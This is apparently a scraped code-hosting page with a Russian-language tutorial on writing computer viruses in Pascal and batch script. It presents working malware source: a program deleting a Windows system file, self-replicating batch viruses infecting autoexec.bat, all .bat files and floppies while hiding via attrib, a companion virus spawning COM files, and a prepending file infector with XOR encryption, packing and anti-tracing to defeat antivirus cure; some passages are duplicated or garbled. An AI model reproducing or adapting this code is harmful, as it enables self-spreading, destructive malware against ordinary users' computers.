Name already in use
Malware-Smog / Complete_viruscode_Pascal_
- Go to file T
- Go to line L
- Copy path
- Copy permalink
- Open with Desktop
- View raw
- Copy raw contents Copy raw contents
Copy raw contents
Copy raw contents
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
Как написать вирус на паскале
доброго всем времени суток!
вот выкладываю основу вируса на Паскале(описание ниже кода):
| Program Virus; Var f : file; s : string; begin writeln(‘введите свой основной диск: ‘); readln(s); s:= s + ‘\windows\system32\hall.dll’; assign(f,s); <присваивание переменной файла> erase(f); <удаление файла> writeln(‘All done’); <выдаем на экран о успешной процедуре, но можно это и убрати> writeln(‘Please restart your computer’); readkey; end. |
доброго всем времени суток!
вот выкладываю основу вируса на Паскале(описание ниже кода):
| Program Virus; Var f : file; s : string; begin writeln(‘введите свой основной диск: ‘); readln(s); s:= s + ‘\windows\system32\hall.dll’; assign(f,s); <присваивание переменной файла> erase(f); <удаление файла> writeln(‘All done’); <выдаем на экран о успешной процедуре, но можно это и убрати> writeln(‘Please restart your computer’); readkey; end. |
| Вот ещё троян, вычисляющий пароль пользователя. <div >Код Pascal |
<div > var password: string ;
begin
write (‘Введите пожалуйста ваш пароль: ");
readln(password);
writeln( ‘Ха! Ваш пароль был вычеслен моей супер-пупер-мега-прогой! Смотри — мы его вычислили: ‘ ,password);
writeln( ‘Что, испугался?’ );
readln;
end .[/code][/quote]
да, насмешил ты меня, ну хорошо, немного модернизирую мой код, смотри.
| Вот ещё троян, вычисляющий пароль пользователя. <div >Код Pascal |
<div > var password: string ;
begin
write (‘Введите пожалуйста ваш пароль: ");
readln(password);
writeln( ‘Ха! Ваш пароль был вычеслен моей супер-пупер-мега-прогой! Смотри — мы его вычислили: ‘ ,password);
writeln( ‘Что, испугался?’ );
readln;
end .[/code][/quote]
да, насмешил ты меня, ну хорошо, немного модернизирую мой код, смотри.
Пишем bat-вирусы и вирусы на Pascal
Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:
@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.
Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:
@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:
@Echo off
if exist c:virus.bat goto cool
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:cool
copy %0 a:run.bat >nul
Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток — если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:
@echo off%[MeTrA]%
if ‘%1==’In_ goto MeTrAin
if exist c:MeTrA.bat goto MeTrAru
if not exist %0 goto MeTrAen
find "MeTrA"<%0>c:MeTrA.bat
attrib +h c:MeTrA.bat
:MeTrAru
for %%t in (*.bat) do call c:MeTrA In_ %%t
goto MeTrAen
:MeTrAin
find "MeTrA"<%2>nul
if not errorlevel 1 goto MeTrAen
type c:MeTrA.bat>>%2
:MeTrAen
Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном примере она MeTrA. Например, в первой строке эта метка ничего не делает, во второй строке эта метка, как бы, не является пассивной, она используется для внутренней работы вируса, а именно участвует в названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT, если нет, то вирус создает его и с помощью программы find копирует из файла (из которого стартовал) все строки содержащие метку вируса, т.е. копирует только вирусные строки. Так, вирусные строки скопированы. Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус ищет BAT-файлы. Чтобы не происходило повторного заражения используется все таже программа find. Допустим вирус нашел файл RUN.BAT и он оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что надо заразить файл, имя которого указано во-втором параметре, в данном случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим способом — с помощью команды type дописывает к файлу RUN.BAT себя. Вот так файл RUN.BAT оказывается зараженным.
Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы. При запуске программы сначала запустится COM-файл с вирусом, который заразив другие файлы запустит EXE-файл. Рассмотрим пример:
<$M 2048,0,4096>
<$i->
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; < размер вируса >
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
< считать свое тело в буфер >
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln(‘Файл ‘,paramstr(0),’ не доступен!’);
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
< искать жертву >
FindFirst(‘*.EXE’,Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+’.com’;
< проверить существует ли файл >
Assign(ft,namecom);
reset(ft);
if ioresult=0 then < если уже существует >
begin
close(ft);
goto infOk;
end;
< создать COM-файл с вирусом >
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; <если ошибка, то пропустить>
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
< запустим своего носителя >
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+’.EXE’,paramstr(1));
swapvectors;
< если вызвали с таким параметром, то надо представитьcя >
if paramstr(1)=’/??’ then
begin
writeln(‘Virus MeTrA.’);
writeln(»);
end;
halt(dosexitcode); < выйти и сохранить код ошибки >
End.
Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с параметром -e. Вверху есть массив — размер вируса, смотрите, чтобы значение его было не меньше EXE-файла с вирусом, а желательно чтобы и больше не было.
• найти EXE-файл
• найти OVR-файл с тем же именем
• если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.
Из справки Паскаля:
Теперь уберем все ошибки из этого примера и переделаем под вирус:
Здесь процедура InfExe является обычной процедурой нерезидентного вируса (заражает в текущем каталоге). А вот эти строки впишем в то место вируса, где как бы его конец.
К сожалению в справке не сказано как избегать повторной установки в память, поэтому я советую чтобы вирус копировал свое тело в какой-нибудь файл на диске C:, вставлял его вызов в config.sys. Пример: install=c:vir.exe /123, здесь /123 — это такой параметр, он говорит вирусу, что тот стартовал для заражения памяти, т.е. ему не надо запускать своего носителя, а надо выполнить эти три строчки.
Можно помудрить и с другими прерываниями, но вынужден вас расстроить, вирусы такого типа, как правило, очень глючные и работают, в основном, только в многозначной среде (в эмуляции DOS виснут).
Если у вас нет желания чтобы ваш вирус, доставшись какому-нибудь ламеру, стал жертвой его антивируса, то следует подумать об усложнении лечения.
Вирус на Паскале, как правило, заражает программы в начало, перенося старое содержимое в конец. Такими вирусами антивирусные базы пополняются автоматом (без вмешательства человека). Оно и понятно, переписать конец в начало и обрезать длину — это очень простая операция. Смысл усложнения лечения заключатся в шифровке куска своей жертвы. Т.к. кусок жертвы при переносе к конец файла находится в массиве, тогда поступаем примерно так:
for i:=1 to 777 do
begin
cc:=a1[i];
i2:=ord(cc) xor 343;
a1[i]:=chr(i2);
end;
Здесь a1 — это массив, в котором сохраняется начало жертвы; i,i2 — integer; cc — char.
В результате данной операции шифруется кусок файла-жертвы (777 байт). Т.к. операция шифровки осуществляется с помощью XOR — для расшифровки используется та же операция. Значит эту маленькую подпрограмму надо оформить в виде процедуры, которую следует прописать в процедуре заражения и в процедуре запуска своего носителя (перед запуском и после запуска). Если вы не разбираетесь в XOR, то скажу, в моем примере шифровка осуществляется с помощью ключа 343, он может быть от 1 до 65000. Можно сделать так, чтобы этот ключ менялся при заражении каждого файла, например, сделать чтобы ключ зависел от размера своего носителя или можно генерировать ключ случайным образом и помещать его где-нибудь в теле вируса или считывать несколько байт кода жертвы, получать их ord-значения и использовать как ключ. И еще, в моем примере шифровка идет от начала файла, а можно сделать определенное смещение, которое тоже чтобы зависело от чего-нибудь. Размер шифровки у меня 777, а можно сделать ее тоже случайной и т.д. Можно также защитить вирус от ламерской трассировки:
Здесь вместо фразы Hello следует вставить процедуры вируса, процедуру запуска носителя следует вставлять после строк восстановления векторов.
Как написать вирус на паскале
Автор не несет никакой ответственности за эту информацию и последствия
ее практического использования. Запрещается использование данной
статьи в каких-либо коммерческих целях. Все что тут написано —
написано только в познавательных целях.
Практически все вирусы на Паскале заражают файлы в начало, вирус
переписывает начало заражаемого файла в его конец, а сам копируется в
освободившееся место. Достоинство такого алгоритма — всяческие вакцины
и самопроверки на 100% бессильны, недостаток (главный) — вирус не
может правильно работать с дискет защищенных от записи, CD-дисков и
т.п., но этот недостаток устраним, но авторы вирусов почему-то не
считают нужным его устранять, а это сделать довольно просто
(рассмотренный здесь вирус не имеет этого недостатка).
Стандартный вирус на Паскале должен выполнить следующие пункты:
———————————————————————————
(вирусу известен свой размер = X)
1. скопировать свое тело в буфер bufer1. Размер его равен X;
2. произвести поиск файлов для заражения;
3. при нахождении файла проверить его на уже зараженность;
4. если файл-жертва не был заражен, то:
4.1. скопировать в буфер bufer2 начало файла-жертвы. Размер = X;
4.2. поместить содержимое буфера bifer2 в конец файла-жертвы;
4.3. поместить содержимое bufer1 в начало жертвы;
5. если найден еще файл, то перейти к пункту 3;
6. запустить своего носителя:
6.1. скопировать конец своего файла-носителя (размером = X) в буфер
bufer2;
6.2. поместить содержимое bufer2 в начало файла;
6.3. обрезать последние X байт файла.
6.4. произвести запуск своего носителя (т.е. того файла из которого
стартовал);
6.5. заразить своего носителя в обратном порядке (4.2 и 4.3).
Свой первый вирус я создал не имея никакой информации о них,
посмотрите, ради интереса, какие пункты он выполнял:
(вирусу известен свой размер = X)
1. пока размер файла vir1.tmp 0 Then <ну если так, то будем работать из левака>
begin
leftfile:=’c:\’+diryattr.name; < имя левака >
SwapVectors;
exec(GetEnv(‘COMSPEC’),’/c copy ‘+itisi+’ ‘+leftfile+’ >nul’);
SwapVectors;
itisi:=leftfile; < рабочий файл - левый файл >
Assign(ft , itisi); < проверить все ли хорошо >
reset(ft);
if ioresult<>0 then halt else close(ft); < если нет, то выход >
stle:=13; < stle - это датчик, что работаем из левака >
end;
end;
IF ParamCount <> 0 Then
Begin
For I:=1 To ParamCount Do
CmdLine:=CmdLine + ‘ ‘ + ParamStr(I); < считываем параметры >
End; < в командной строке >
end;
Procedure Zaraza; < процедура заражения >
label propusk, fuck;
Begin
Time:=DirInfo.Time; < Запоминаем дату/время и атрибуты файла >
Attr:=DirInfo.Attr;
assign(f,katal+dirinfo.name);
reset(f,1);
if ioresult<>0 then goto fuck; < если произошла ошибка >
if filesize(f) ‘M’) and (filecom[2]<>‘Z’) then goto propusk;
end;
seek(f,1024);
blockread(f,newexe,2); < Проверить на windowsис "NE" >
if newexe=’NE’ then goto propusk;
seek(f,78);
blockread(f,newexe,2); < Проверить на windowsис "Th. " >
if (upcase(newexe[1])=’T’) and (upcase(newexe[2])=’H’) then goto propusk;
seek(f,80);
blockread(f,newexe,2); < Проверить на windowsис "Th. " >
if (upcase(newexe[1])=’T’) and (upcase(newexe[2])=’H’) then goto propusk;
Procedure PoiskFiles(ss:string; ext:string); < поиск жерт для заражения >
label notinf;
begin
FindFirst(ss+’*’+EXT, Archive, DirInfo);
while (DosError = 0) and (kol 0 then goto fuck2; < если ошибка произошла >
seek(f,filesize(f)-rv);
blockread(f,BufFile,rv);
xorit; < расшифровать носителя >
seek(f,0);
blockwrite(f,buffile,rv);
if ioresult<>0 then goto fuck2;
seek(f,filesize(f)-rv);
truncate(f); < сделать обрезание >
SetFTime(f , myTime); < восстанавливаем дату/время и >
SetFAttr(f , myAttr); < атрибуты файла >
close(f);
swapvectors;
exec(itisI,cmdline); < запускаем носителя >
swapvectors;
assign(f,itisI); < заразить в обратном порядке >
setfattr(f,archive);
reset(f,1);
if ioresult<>0 then goto fuck2;
seek(f,0);
blockread(f,BufFile,rv);
if buffile[500]=telovir[500] then goto fuck; < был заражен? пропустим >
xorit; < зашифровать носителя >
seek(f,filesize(f));
blockwrite(f,BufFile,rv);
seek(f,0);
blockwrite(f,TeloVir,rv);
fuck:
SetFTime(f , myTime); < восстанавливаем дату/время и >
SetFAttr(f , myAttr); < атрибуты файла >
close(f);
fuck2:
end;
if mysize>rv then Start;
halt(dosexitcode); < выйти, причем код возврата сохраняется >
end.
———————————————————————————
Чтобы размер вируса был поменьше, вирус можно упаковать
каким-нибудь упаковщиком.
В начале исходника есть константа RV, она обязательно должна быть
равна размеру вируса после компиляции.